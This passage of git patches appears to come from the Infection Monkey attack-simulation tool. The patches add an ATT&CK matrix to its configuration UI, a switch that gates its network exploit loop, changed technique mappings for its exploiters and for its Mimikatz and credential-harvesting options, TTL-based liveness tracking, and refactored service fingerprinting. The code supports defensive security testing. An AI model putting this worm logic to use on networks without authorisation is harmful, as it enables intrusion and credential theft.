      ; - } -} - -export default AttackComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index bb369fa73..7aa143648 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -1,19 +1,26 @@ import React from 'react'; import Form from 'react-jsonschema-form'; -import {Col, Nav, NavItem} from 'react-bootstrap'; +import {Col, Modal, Nav, NavItem} from 'react-bootstrap'; import fileDownload from 'js-file-download'; import AuthComponent from '../AuthComponent'; import { FilePond } from 'react-filepond'; import 'filepond/dist/filepond.min.css'; +import MatrixComponent from "../attack/MatrixComponent"; + +const ATTACK_URL = '/api/attack'; +const CONFIG_URL = '/api/configuration/island'; class ConfigurePageComponent extends AuthComponent { + constructor(props) { super(props); this.PBAwindowsPond = null; this.PBAlinuxPond = null; - this.currentSection = 'basic'; + this.currentSection = 'attack'; this.currentFormData = {}; - this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal']; + this.initialConfig = {}; + this.initialAttackConfig = {}; + this.sectionsOrder = ['attack', 'basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal']; this.uiSchema = { behaviour: { custom_PBA_linux_cmd: { @@ -44,37 +51,94 @@ class ConfigurePageComponent extends AuthComponent { this.state = { schema: {}, configuration: {}, + attackConfig: {}, lastAction: 'none', sections: [], - selectedSection: 'basic', + selectedSection: 'attack', allMonkeysAreDead: true, PBAwinFile: [], - PBAlinuxFile: [] + PBAlinuxFile: [], + showAttackAlert: false }; } - componentDidMount() { - this.authFetch('/api/configuration/island') - .then(res => res.json()) - .then(res => { + setInitialConfig(config) { + this.initialConfig = JSON.parse(JSON.stringify(config)); + } + + setInitialAttackConfig(attackConfig) { + this.initialAttackConfig = JSON.parse(JSON.stringify(attackConfig)); + } + + componentDidMount = () => { + let urls = [CONFIG_URL, ATTACK_URL]; + Promise.all(urls.map(url => this.authFetch(url).then(res => res.json()))) + .then(data => { let sections = []; + let attackConfig = data[1]; + let monkeyConfig = data[0]; + this.setInitialConfig(monkeyConfig.configuration); + this.setInitialAttackConfig(attackConfig.configuration); for (let sectionKey of this.sectionsOrder) { - sections.push({key: sectionKey, title: res.schema.properties[sectionKey].title}); + if (sectionKey === 'attack') {sections.push({key:sectionKey, title: "ATT&CK"})} + else {sections.push({key: sectionKey, title: monkeyConfig.schema.properties[sectionKey].title});} } this.setState({ - schema: res.schema, - configuration: res.configuration, + schema: monkeyConfig.schema, + configuration: monkeyConfig.configuration, + attackConfig: attackConfig.configuration, sections: sections, - selectedSection: 'basic' + selectedSection: 'attack' }) }); this.updateMonkeysRunning(); - } + }; - onSubmit = ({formData}) => { - this.currentFormData = formData; + updateConfig = () => { + this.authFetch(CONFIG_URL) + .then(res => res.json()) + .then(data => { + this.setInitialConfig(data.configuration); + this.setState({configuration: data.configuration}) + }) + }; + + onSubmit = () => { + if (this.state.selectedSection === 'attack'){ + this.matrixSubmit() + } else { + this.configSubmit() + } + }; + + matrixSubmit = () => { + // Submit attack matrix + this.authFetch(ATTACK_URL, + { + method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify(this.state.attackConfig) + }) + .then(res => { + if (!res.ok) + { + throw Error() + } + return res; + }) + .then(() => {this.setInitialAttackConfig(this.state.attackConfig); + this.setState({lastAction: 'saved'})}) + .then(this.updateConfig()) + .catch(error => { + console.log('bad attack configuration'); + this.setState({lastAction: 'invalid_configuration'}); + }); + }; + + configSubmit = () => { + // Submit monkey configuration this.updateConfigSection(); - this.authFetch('/api/configuration/island', + this.authFetch(CONFIG_URL, { method: 'POST', headers: {'Content-Type': 'application/json'}, @@ -94,11 +158,33 @@ class ConfigurePageComponent extends AuthComponent { schema: res.schema, configuration: res.configuration }); + this.setInitialConfig(res.configuration); this.props.onStatusChange(); }).catch(error => { console.log('bad configuration'); this.setState({lastAction: 'invalid_configuration'}); }); + + }; + + // Alters attack configuration when user toggles technique + attackTechniqueChange = (technique, value, mapped=false) => { + // Change value in attack configuration + // Go trough each column in matrix, searching for technique + Object.entries(this.state.attackConfig).forEach(techType => { + if(techType[1].properties.hasOwnProperty(technique)){ + let tempMatrix = this.state.attackConfig; + tempMatrix[techType[0]].properties[technique].value = value; + this.setState({attackConfig: tempMatrix}); + // Toggle all mapped techniques + if (! mapped && tempMatrix[techType[0]].properties[technique].hasOwnProperty('depends_on')){ + tempMatrix[techType[0]].properties[technique].depends_on.forEach(mappedTechnique => { + this.attackTechniqueChange(mappedTechnique, value, true) + }) + } + + } + }); }; onChange = ({formData}) => { @@ -111,11 +197,49 @@ class ConfigurePageComponent extends AuthComponent { newConfig[this.currentSection] = this.currentFormData; this.currentFormData = {}; } - this.setState({configuration: newConfig}); + this.setState({configuration: newConfig, lastAction: 'none'}); }; + renderAttackAlertModal = () => { + return ( {this.setState({showAttackAlert: false})}}> + +

      Warning

      +

      + You have unsubmitted changes. Submit them before proceeding. +

      +
      + +
      +
      +
      ) + }; + + userChangedConfig(){ + if(JSON.stringify(this.state.configuration) === JSON.stringify(this.initialConfig)){ + if(Object.keys(this.currentFormData).length === 0 || + JSON.stringify(this.initialConfig[this.currentSection]) === JSON.stringify(this.currentFormData)){ + return false; + } + } + return true; + } + + userChangedMatrix(){ + return (JSON.stringify(this.state.attackConfig) !== JSON.stringify(this.initialAttackConfig)) + } + setSelectedSection = (key) => { this.updateConfigSection(); + if ((key === 'attack' && this.userChangedConfig()) || + (this.currentSection === 'attack' && this.userChangedMatrix())){ + this.setState({showAttackAlert: true}); + return + } this.currentSection = key; this.setState({ selectedSection: key @@ -124,7 +248,7 @@ class ConfigurePageComponent extends AuthComponent { resetConfig = () => { this.removePBAfiles(); - this.authFetch('/api/configuration/island', + this.authFetch(CONFIG_URL, { method: 'POST', headers: {'Content-Type': 'application/json'}, @@ -137,8 +261,15 @@ class ConfigurePageComponent extends AuthComponent { schema: res.schema, configuration: res.configuration }); + this.setInitialConfig(res.configuration); this.props.onStatusChange(); - }); + }).then(this.authFetch(ATTACK_URL,{ method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify('reset_attack_matrix')})) + .then(res => res.json()) + .then(res => { + this.setState({attackConfig: res.configuration}) + }) }; removePBAfiles(){ @@ -273,19 +404,46 @@ class ConfigurePageComponent extends AuthComponent { render() { let displayedSchema = {}; - if (this.state.schema.hasOwnProperty('properties')) { + if (this.state.schema.hasOwnProperty('properties') && this.state.selectedSection !== 'attack') { displayedSchema = this.state.schema['properties'][this.state.selectedSection]; displayedSchema['definitions'] = this.state.schema['definitions']; } + let config_content = (
      +
      + { this.state.allMonkeysAreDead ? + '' : +
      + + Some monkeys are currently running. Note that changing the configuration will only apply to new + infections. +
      + } +
      + ); + let attack_content = (); + let content = ''; + if (this.state.selectedSection === 'attack' && Object.entries(this.state.attackConfig).length !== 0 ) { + content = attack_content + } else if(this.state.selectedSection !== 'attack') { + content = config_content + } + + return ( + {this.renderAttackAlertModal()}

      Monkey Configuration

      { this.state.selectedSection === 'basic_network' ? @@ -296,33 +454,15 @@ class ConfigurePageComponent extends AuthComponent {
      :
      } - { this.state.selectedSection ? -
      -
      - { this.state.allMonkeysAreDead ? - '' : -
      - - Some monkeys are currently running. Note that changing the configuration will only apply to new - infections. -
      - } -
      - - -
      -
      - - : ''} + { content } +
      + + +
      ) } diff --git a/monkey/monkey_island/cc/ui/src/styles/App.css b/monkey/monkey_island/cc/ui/src/styles/App.css index 7303603b9..02feb4d89 100644 --- a/monkey/monkey_island/cc/ui/src/styles/App.css +++ b/monkey/monkey_island/cc/ui/src/styles/App.css @@ -186,6 +186,10 @@ body { .nav-tabs > li > a { height: 63px } + +.nav > li > a:focus { + background-color: transparent !important; +} /* * Run Monkey Page */ From c3aa316c07104aa61ff93fb72d2ee457646357bb Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 3 May 2019 10:43:46 +0300 Subject: [PATCH 057/598] Added 'should_exploit' configuration field, minor fixes --- monkey/infection_monkey/config.py | 1 + monkey/infection_monkey/example.conf | 1 + monkey/infection_monkey/monkey.py | 21 +++---- monkey/monkey_island/cc/resources/root.py | 2 +- .../cc/services/config_schema.py | 41 +++++++------ .../ui/src/components/pages/ConfigurePage.js | 58 +++++++++++-------- 6 files changed, 71 insertions(+), 53 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 0d44cb973..b1d761a3f 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -205,6 +205,7 @@ class Configuration(object): # exploiters config ########################### + should_exploit = True skip_exploit_if_file_exist = False ms08_067_exploit_attempts = 5 diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 7ad23fa7b..b78426262 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -1,4 +1,5 @@ { + "should_exploit": true, "command_servers": [ "192.0.2.0:5000" ], diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index df7bcf820..f0d60db23 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -176,16 +176,17 @@ class InfectionMonkey(object): machine.set_default_server(self._default_server) # Order exploits according to their type - self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value) - host_exploited = False - for exploiter in [exploiter(machine) for exploiter in self._exploiters]: - if self.try_exploiting(machine, exploiter): - host_exploited = True - VictimHostTelem('T1210', ScanStatus.USED.value, machine=machine).send() - break - if not host_exploited: - self._fail_exploitation_machines.add(machine) - VictimHostTelem('T1210', ScanStatus.SCANNED.value, machine=machine).send() + if WormConfiguration.should_exploit: + self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value) + host_exploited = False + for exploiter in [exploiter(machine) for exploiter in self._exploiters]: + if self.try_exploiting(machine, exploiter): + host_exploited = True + VictimHostTelem('T1210', ScanStatus.USED.value, machine=machine).send() + break + if not host_exploited: + self._fail_exploitation_machines.add(machine) + VictimHostTelem('T1210', ScanStatus.SCANNED.value, machine=machine).send() if not self._keep_running: break diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index b180afd1b..f49af117c 100644 --- a/monkey/monkey_island/cc/resources/root.py +++ b/monkey/monkey_island/cc/resources/root.py @@ -25,7 +25,7 @@ class Root(flask_restful.Resource): if not action: return Root.get_server_info() elif action == "reset": - return jwt_required()(Database.reset_db()) + return jwt_required()(Database.reset_db)() elif action == "killall": return Root.kill_all() elif action == "is-up": diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 8c7e6c154..73476e645 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -14,7 +14,7 @@ SCHEMA = { "SmbExploiter" ], "title": "SMB Exploiter", - "attack_techniques": ["T1110", "T1210", "T1075"] + "attack_techniques": ["T1110", "T1075"] }, { "type": "string", @@ -54,55 +54,49 @@ SCHEMA = { "SSHExploiter" ], "title": "SSH Exploiter", - "attack_techniques": ["T1110", "T1210"] + "attack_techniques": ["T1110"] }, { "type": "string", "enum": [ "ShellShockExploiter" ], - "title": "ShellShock Exploiter", - "attack_techniques": ["T1210"] + "title": "ShellShock Exploiter" }, { "type": "string", "enum": [ "SambaCryExploiter" ], - "title": "SambaCry Exploiter", - "attack_techniques": ["T1210"] + "title": "SambaCry Exploiter" }, { "type": "string", "enum": [ "ElasticGroovyExploiter" ], - "title": "ElasticGroovy Exploiter", - "attack_techniques": ["T1210"] + "title": "ElasticGroovy Exploiter" }, { "type": "string", "enum": [ "Struts2Exploiter" ], - "title": "Struts2 Exploiter", - "attack_techniques": ["T1210"] + "title": "Struts2 Exploiter" }, { "type": "string", "enum": [ "WebLogicExploiter" ], - "title": "Oracle Web Logic Exploiter", - "attack_techniques": ["T1210"] + "title": "Oracle Web Logic Exploiter" }, { "type": "string", "enum": [ "HadoopExploiter" ], - "title": "Hadoop/Yarn Exploiter", - "attack_techniques": ["T1210"] + "title": "Hadoop/Yarn Exploiter" } ] }, @@ -184,9 +178,22 @@ SCHEMA = { }, "properties": { "basic": { - "title": "Basic - Credentials", + "title": "Basic - Exploits", "type": "object", "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "should_exploit": { + "title": "Exploit network machines", + "type": "boolean", + "default": True, + "attack_techniques": ["T1210"], + "description": "Determines if monkey should try to safely exploit machines on the network" + } + } + }, "credentials": { "title": "Credentials", "type": "object", @@ -399,7 +406,7 @@ SCHEMA = { "title": "Harvest Azure Credentials", "type": "boolean", "default": True, - "attack_techniques": ["T1110", "T1078"], + "attack_techniques": ["T1003", "T1078"], "description": "Determine if the Monkey should try to harvest password credentials from Azure VMs" }, @@ -413,7 +420,7 @@ SCHEMA = { "title": "Should use Mimikatz", "type": "boolean", "default": True, - "attack_techniques": ["T1110", "T1078"], + "attack_techniques": ["T1003", "T1078"], "description": "Determines whether to use Mimikatz" }, } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 7aa143648..6c3257670 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -21,31 +21,39 @@ class ConfigurePageComponent extends AuthComponent { this.initialConfig = {}; this.initialAttackConfig = {}; this.sectionsOrder = ['attack', 'basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal']; - this.uiSchema = { - behaviour: { - custom_PBA_linux_cmd: { - "ui:widget": "textarea", - "ui:emptyValue": "" - }, - PBA_linux_file: { - "ui:widget": this.PBAlinux - }, - custom_PBA_windows_cmd: { - "ui:widget": "textarea", - "ui:emptyValue": "" - }, - PBA_windows_file: { - "ui:widget": this.PBAwindows - }, - PBA_linux_filename: { - classNames: "linux-pba-file-info", - "ui:emptyValue": "" - }, - PBA_windows_filename: { - classNames: "windows-pba-file-info", - "ui:emptyValue": "" + this.uiSchemas = { + basic: {"ui:order": ["general", "credentials"]}, + basic_network: {}, + monkey: { + behaviour: { + custom_PBA_linux_cmd: { + "ui:widget": "textarea", + "ui:emptyValue": "" + }, + PBA_linux_file: { + "ui:widget": this.PBAlinux + }, + custom_PBA_windows_cmd: { + "ui:widget": "textarea", + "ui:emptyValue": "" + }, + PBA_windows_file: { + "ui:widget": this.PBAwindows + }, + PBA_linux_filename: { + classNames: "linux-pba-file-info", + "ui:emptyValue": "" + }, + PBA_windows_filename: { + classNames: "windows-pba-file-info", + "ui:emptyValue": "" + } } - } + }, + cnc: {}, + network: {}, + exploits: {}, + internal: {} }; // set schema from server this.state = { @@ -409,7 +417,7 @@ class ConfigurePageComponent extends AuthComponent { displayedSchema['definitions'] = this.state.schema['definitions']; } let config_content = (
      From 03420aae50ddeb2f1f2dd0cd85a30b889287d260 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 5 May 2019 20:47:36 +0300 Subject: [PATCH 058/598] Update const of timeout --- monkey/infection_monkey/control.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 98ad55671..d66ab9d69 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -21,7 +21,7 @@ LOG = logging.getLogger(__name__) DOWNLOAD_CHUNK = 1024 # random number greater than 5, # to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere. -TIMEOUT = 15 +TIMEOUT_IN_SECONDS = 15 class ControlClient(object): @@ -76,7 +76,7 @@ class ControlClient(object): requests.get("https://%s/api?action=is-up" % (server,), verify=False, proxies=ControlClient.proxies, - timeout=TIMEOUT) + timeout=TIMEOUT_IN_SECONDS) WormConfiguration.current_server = current_server break From fd2e0887fff22809be8d6debfa1c737f3dc74716 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 5 May 2019 20:48:05 +0300 Subject: [PATCH 059/598] Refactor Environment to enable access to mongo url --- monkey/monkey_island/cc/environment/__init__.py | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/environment/__init__.py b/monkey/monkey_island/cc/environment/__init__.py index 62b0e9eed..8a3f61b21 100644 --- a/monkey/monkey_island/cc/environment/__init__.py +++ b/monkey/monkey_island/cc/environment/__init__.py @@ -10,7 +10,10 @@ class Environment(object): __metaclass__ = abc.ABCMeta _ISLAND_PORT = 5000 - _MONGO_URL = os.environ.get("MONKEY_MONGO_URL", "mongodb://localhost:27017/monkeyisland") + _MONGO_DB_NAME = "monkeyisland" + _MONGO_DB_HOST = "localhost" + _MONGO_DB_PORT = 27017 + _MONGO_URL = os.environ.get("MONKEY_MONGO_URL", "mongodb://{0}:{1}/{2}".format(_MONGO_DB_HOST, _MONGO_DB_PORT, str(_MONGO_DB_NAME))) _DEBUG_SERVER = False _AUTH_EXPIRATION_TIME = timedelta(hours=1) @@ -40,3 +43,15 @@ class Environment(object): @abc.abstractmethod def get_auth_users(self): return + + @property + def mongo_db_name(self): + return self._MONGO_DB_NAME + + @property + def mongo_db_host(self): + return self._MONGO_DB_HOST + + @property + def mongo_db_port(self): + return self._MONGO_DB_PORT From 1018906602e1a99b55cfae8a5a7a60234448c12f Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 5 May 2019 20:50:11 +0300 Subject: [PATCH 060/598] Added models using mongoengine and started using them in the code, and added TTL field TTL doesn't get expired for some reason, trying to solve in https://stackoverflow.com/questions/55994379/mongodb-ttl-index-doesnt-delete-expired-documents --- monkey/monkey_island/cc/models/__init__.py | 1 + monkey/monkey_island/cc/models/monkey.py | 89 +++++++++++++++++++++ monkey/monkey_island/cc/resources/monkey.py | 10 ++- monkey/monkey_island/cc/services/node.py | 5 +- monkey/monkey_island/requirements.txt | 1 + 5 files changed, 101 insertions(+), 5 deletions(-) create mode 100644 monkey/monkey_island/cc/models/__init__.py create mode 100644 monkey/monkey_island/cc/models/monkey.py diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py new file mode 100644 index 000000000..c02d7f0c1 --- /dev/null +++ b/monkey/monkey_island/cc/models/__init__.py @@ -0,0 +1 @@ +from monkey import Monkey diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py new file mode 100644 index 000000000..d54fe1b43 --- /dev/null +++ b/monkey/monkey_island/cc/models/monkey.py @@ -0,0 +1,89 @@ +""" +Define a Document Schema for the Monkey document. +""" +import mongoengine +from mongoengine import Document, StringField, ListField, BooleanField, EmbeddedDocumentField, DateField, \ + EmbeddedDocument, connect, ReferenceField, DateTimeField + +from monkey_island.cc.environment.environment import env + +connect(db=env.mongo_db_name, host=env.mongo_db_host, port=env.mongo_db_port) + + +class Config(EmbeddedDocument): + """ + No need to define this schema here. It will change often and is already is defined in + monkey_island.cc.services.config_schema. + See https://mongoengine-odm.readthedocs.io/apireference.html#mongoengine.FieldDoesNotExist + """ + meta = {'strict': False} + pass + + +class Creds(EmbeddedDocument): + """ + TODO get an example of this data + """ + meta = {'strict': False} + pass + + +class PbaResults(EmbeddedDocument): + ip = StringField() + hostname = StringField() + command = StringField() + name = StringField() + result = ListField() + + +class Ttl(Document): + meta = { + 'indexes': [ + { + 'name': 'TTL_index', + 'fields': ['expire_at'], + 'expireAfterSeconds': 0 + } + ] + } + + expire_at = DateTimeField() + + +class Monkey(Document): + """ + This class has 2 main section: + * The schema section defines the DB fields in the document. This is the data of the object. + * The logic section defines complex questions we can ask about a single document which are asked multiple + times, somewhat like an API. + """ + guid = StringField(required=True) + config = EmbeddedDocumentField('Config') + creds = ListField(EmbeddedDocumentField('Creds')) + dead = BooleanField() + description = StringField() + hostname = StringField() + internet_access = BooleanField() + ip_addresses = ListField(StringField()) + keepalive = DateField() + modifytime = DateField() + # TODO change this to an embedded document as well - RN it's an unnamed tuple which is confusing. + parent = ListField(ListField(StringField())) + config_error = BooleanField() + critical_services = ListField(StringField()) + pba_results = ListField() + ttl_ref = ReferenceField(Ttl) + + def is_dead(self): + monkey_is_dead = False + if self.dead: + monkey_is_dead = True + else: + try: + if Ttl.objects(id=self.ttl_ref.id).count() == 0: + # No TTLs - monkey has timed out. The monkey is MIA + monkey_is_dead = True + except mongoengine.DoesNotExist: + # Trying to dereference unknown document + monkey_is_dead = True + return monkey_is_dead diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py index 057ebf149..c6e7af908 100644 --- a/monkey/monkey_island/cc/resources/monkey.py +++ b/monkey/monkey_island/cc/resources/monkey.py @@ -1,13 +1,13 @@ import json -from datetime import datetime +from datetime import datetime, timedelta import dateutil.parser import flask_restful from flask import request +from monkey_island.cc import models from monkey_island.cc.database import mongo from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.monkey_timeout import start_timer_decorator from monkey_island.cc.services.node import NodeService __author__ = 'Barak' @@ -18,7 +18,6 @@ __author__ = 'Barak' class Monkey(flask_restful.Resource): # Used by monkey. can't secure. - @start_timer_decorator def get(self, guid=None, **kw): NodeService.update_dead_monkeys() # refresh monkeys status if not guid: @@ -49,6 +48,11 @@ class Monkey(flask_restful.Resource): tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "") NodeService.set_monkey_tunnel(monkey["_id"], tunnel_host_ip) + current_ttl = models.monkey.Ttl(expire_at=datetime.now() + timedelta(seconds=30)) + current_ttl.save() + + update['$set']['ttl_ref'] = current_ttl.id + return mongo.db.monkey.update({"_id": monkey["_id"]}, update, upsert=False) # Used by monkey. can't secure. diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index fa500aab5..83474a2c3 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -7,6 +7,7 @@ from monkey_island.cc.database import mongo from monkey_island.cc.services.edge import EdgeService from monkey_island.cc.utils import local_ip_addresses import socket +from monkey_island.cc import models __author__ = "itay.mizeretz" @@ -141,7 +142,7 @@ class NodeService: "label": label, "group": NodeService.get_monkey_group(monkey), "os": NodeService.get_monkey_os(monkey), - "dead": monkey["dead"], + "dead": models.Monkey.objects(id=monkey["_id"])[0].is_dead(), "domain_name": "", "pba_results": monkey["pba_results"] if "pba_results" in monkey else [] } @@ -293,7 +294,7 @@ class NodeService: @staticmethod def is_any_monkey_alive(): - return mongo.db.monkey.find_one({'dead': False}) is not None + return models.Monkey.objects(dead=False).count() > 0 @staticmethod def is_any_monkey_exists(): diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt index 5e0faea19..953cad2cb 100644 --- a/monkey/monkey_island/requirements.txt +++ b/monkey/monkey_island/requirements.txt @@ -22,3 +22,4 @@ bson cffi virtualenv wheel +mongoengine From 7f5c07c1fd4e9b5eab7cd13e828efcab9fa5b4e2 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 6 May 2019 14:57:17 +0300 Subject: [PATCH 061/598] Refactored fingerprint scanners to add port on init --- monkey/common/utils/code_utils.py | 10 +++ monkey/infection_monkey/exploit/sambacry.py | 5 +- monkey/infection_monkey/network/__init__.py | 13 +--- .../infection_monkey/network/elasticfinger.py | 3 +- monkey/infection_monkey/network/httpfinger.py | 3 +- .../network/mssql_fingerprint.py | 3 +- .../infection_monkey/network/mysqlfinger.py | 3 +- monkey/infection_monkey/network/smbfinger.py | 3 +- monkey/infection_monkey/network/sshfinger.py | 3 +- .../infection_monkey/network/tcp_scanner.py | 5 +- monkey/monkey_island/cc/resources/root.py | 4 +- .../cc/services/attack/attack_config.py | 6 +- .../cc/services/attack/attack_report.py | 14 ++-- .../attack/technique_reports/T1197.py | 38 +++++------ .../attack/technique_reports/T1210.py | 67 +++++++++++-------- .../attack/technique_reports/__init__.py | 64 +++++++++++++++++- .../technique_reports/technique_service.py | 37 ---------- .../cc/ui/src/components/Main.js | 12 ---- .../cc/ui/src/components/attack/T1197.js | 46 ------------- .../src/components/attack/techniques/T1197.js | 49 ++++++++++++++ .../attack/{ => techniques}/T1210.js | 2 +- .../cc/ui/src/components/pages/ReportPage.js | 17 +++++ .../AttackReport.js} | 13 +--- 23 files changed, 224 insertions(+), 196 deletions(-) create mode 100644 monkey/common/utils/code_utils.py delete mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/technique_service.py delete mode 100644 monkey/monkey_island/cc/ui/src/components/attack/T1197.js create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js rename monkey/monkey_island/cc/ui/src/components/attack/{ => techniques}/T1210.js (98%) rename monkey/monkey_island/cc/ui/src/components/{pages/AttackReportPage.js => report-components/AttackReport.js} (94%) diff --git a/monkey/common/utils/code_utils.py b/monkey/common/utils/code_utils.py new file mode 100644 index 000000000..d6d407706 --- /dev/null +++ b/monkey/common/utils/code_utils.py @@ -0,0 +1,10 @@ + + +# abstract, static method decorator +class abstractstatic(staticmethod): + __slots__ = () + + def __init__(self, function): + super(abstractstatic, self).__init__(function) + function.__isabstractmethod__ = True + __isabstractmethod__ = True diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index 7c4d7790a..4abdf8f33 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -89,7 +89,10 @@ class SambaCryExploiter(HostExploiter): LOG.info( "Shares triggered successfully on host %s: %s" % ( self.host.ip_addr, str(successfully_triggered_shares))) - self.add_vuln_port(str(writable_shares_creds_dict)) + # TODO: add vulnerable url + #for share, fullpath in successfully_triggered_shares: + # self.add_vuln_url("smb://@:/" % False, + # self.host.ip_addr, False, share) return True else: LOG.info("No shares triggered successfully on host %s" % self.host.ip_addr) diff --git a/monkey/infection_monkey/network/__init__.py b/monkey/infection_monkey/network/__init__.py index b47d4ebca..59a6d01d6 100644 --- a/monkey/infection_monkey/network/__init__.py +++ b/monkey/infection_monkey/network/__init__.py @@ -18,19 +18,10 @@ class HostFinger(object): def _SCANNED_SERVICE(self): pass - def init_service(self, services, service_key): + def init_service(self, services, service_key, port): services[service_key] = {} services[service_key]['display_name'] = self._SCANNED_SERVICE - - def add_found_port(self, services, port, key=None): - if key: - services[key]['port'] = port - else: - for service in services: - if services[service]['display_name'] == self._SCANNED_SERVICE: - service[service]['port'] = port - return - raise KeyError + services[service_key]['port'] = port @abstractmethod def get_host_fingerprint(self, host): diff --git a/monkey/infection_monkey/network/elasticfinger.py b/monkey/infection_monkey/network/elasticfinger.py index 710479cb8..31ce6e24a 100644 --- a/monkey/infection_monkey/network/elasticfinger.py +++ b/monkey/infection_monkey/network/elasticfinger.py @@ -36,11 +36,10 @@ class ElasticFinger(HostFinger): url = 'http://%s:%s/' % (host.ip_addr, ES_PORT) with closing(requests.get(url, timeout=ES_HTTP_TIMEOUT)) as req: data = json.loads(req.text) - self.init_service(host.services, ES_SERVICE) + self.init_service(host.services, ES_SERVICE, ES_PORT) host.services[ES_SERVICE]['cluster_name'] = data['cluster_name'] host.services[ES_SERVICE]['name'] = data['name'] host.services[ES_SERVICE]['version'] = data['version']['number'] - self.add_found_port(host.services, ES_PORT) return True except Timeout: LOG.debug("Got timeout while trying to read header information") diff --git a/monkey/infection_monkey/network/httpfinger.py b/monkey/infection_monkey/network/httpfinger.py index 1bcc70fb5..30292d99f 100644 --- a/monkey/infection_monkey/network/httpfinger.py +++ b/monkey/infection_monkey/network/httpfinger.py @@ -37,9 +37,8 @@ class HTTPFinger(HostFinger): with closing(head(url, verify=False, timeout=1)) as req: server = req.headers.get('Server') ssl = True if 'https://' in url else False - self.init_service(host.services, ('tcp-' + port[1])) + self.init_service(host.services, ('tcp-' + port[1]), port[0]) host.services['tcp-' + port[1]]['name'] = 'http' - self.add_found_port(host.services, port[0], ('tcp-' + port[1])) host.services['tcp-' + port[1]]['data'] = (server,ssl) LOG.info("Port %d is open on host %s " % (port[0], host)) break # https will be the same on the same port diff --git a/monkey/infection_monkey/network/mssql_fingerprint.py b/monkey/infection_monkey/network/mssql_fingerprint.py index f99f92f5c..7b666bf9f 100644 --- a/monkey/infection_monkey/network/mssql_fingerprint.py +++ b/monkey/infection_monkey/network/mssql_fingerprint.py @@ -63,7 +63,7 @@ class MSSQLFinger(HostFinger): sock.close() return False - self.init_service(host.services, self._SCANNED_SERVICE) + self.init_service(host.services, self._SCANNED_SERVICE, MSSQLFinger.SQL_BROWSER_DEFAULT_PORT) # Loop through the server data instances_list = data[3:].decode().split(';;') @@ -76,7 +76,6 @@ class MSSQLFinger(HostFinger): # Each instance's info is nested under its own name, if there are multiple instances # each will appear under its own name host.services[self._SCANNED_SERVICE][instance_info[1]][instance_info[i - 1]] = instance_info[i] - self.add_found_port(host.services, MSSQLFinger.SQL_BROWSER_DEFAULT_PORT) # Close the socket sock.close() diff --git a/monkey/infection_monkey/network/mysqlfinger.py b/monkey/infection_monkey/network/mysqlfinger.py index 94077f684..123f0ae47 100644 --- a/monkey/infection_monkey/network/mysqlfinger.py +++ b/monkey/infection_monkey/network/mysqlfinger.py @@ -51,14 +51,13 @@ class MySQLFinger(HostFinger): version, curpos = struct_unpack_tracker_string(data, curpos) # special coded to solve string parsing version = version[0] - self.init_service(host.services, SQL_SERVICE) + self.init_service(host.services, SQL_SERVICE, MYSQL_PORT) host.services[SQL_SERVICE]['version'] = version version = version.split('-')[0].split('.') host.services[SQL_SERVICE]['major_version'] = version[0] 